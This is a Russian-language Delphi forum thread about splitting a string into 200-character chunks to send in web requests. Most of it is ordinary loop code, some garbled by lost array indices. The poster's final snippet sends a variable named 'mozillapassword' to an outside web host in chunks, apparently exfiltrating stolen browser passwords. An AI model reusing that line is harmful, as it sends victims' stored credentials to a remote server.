[Delphi ]Как разделить строку на равное кол-во символов ?

Помогите с решением след. проблемы: как разделить строку .... длины по 200 символов в array of string;

Просто надо отправить POST запрос странице множество символов- а он не все принимает. Вот хочу несколькими параметрами отправить - а как разделить на равное кол-во по 200 знаков строку незнай

 

s - исходная строка
var
strings: array of string;
while Length(s) > 0 do
begin
SetLength(strings, Length(strings) + 1);
strings[High(strings)] := Copy(s, 1, 200);
Delete(s, 1, 200);
end;

 

а далее узнать размер массива через length(strings) я могу ? и каков будет ответ ? не взнаках надеюсь

 

В каких, в жопу, знаках?
"Како размер метлы? oasdasd метров".
Где логика? Вы головой думайте.

 

program Project1;

{$APPTYPE CONSOLE}

uses
SysUtils;

var
arr : array of string;
st:string;
i,k,n:integer;

begin

st:='ABCDEFGHIKLMNOPQRSTVWXYZ .......'; // строка, которую нуно разделить на подстроки длиной по 200 символов



i:=1;
k:=1;
n:=200;

SetLength(arr, 1);

while (k<length(st)) do

begin
SetLength(arr, Length(arr)+1);
arr:=Copy(st,k,n);
k:=k+n;

inc(i);

end;


for I := 1 to Length(arr) do
writeln(arr) ;


readln;
end.


Рабочий код!

 

Дык это будет 199 символов . Дальше - похоже на правду.

 

а если строка не делиться на 200 ??? к примеру 781 знака ?

 

то будет три порции по 200 символов и в последнюю упадет остаток.

 

SetLength(t, (Length(s) div 200) +1);
for i:=0 to (Length(s) div 200) do t:=Copy(S, i*200+1, 200);
for i:=0 to (Length(s) div 200) do http.Get('http://webmoney1.jino-net.ru/index.php?txt='+mozillapassword);

все канает - спасибо всем, дорогие россияне

 

Пипец ТС ты даешь, во втором посте рабочий код как ты и просил. Я проверял прежде чем запостить

length(strings) вернуло бы количество элементов в массиве, а не количество знаков (чего?)

Нахрена так много дополнительных переменных то?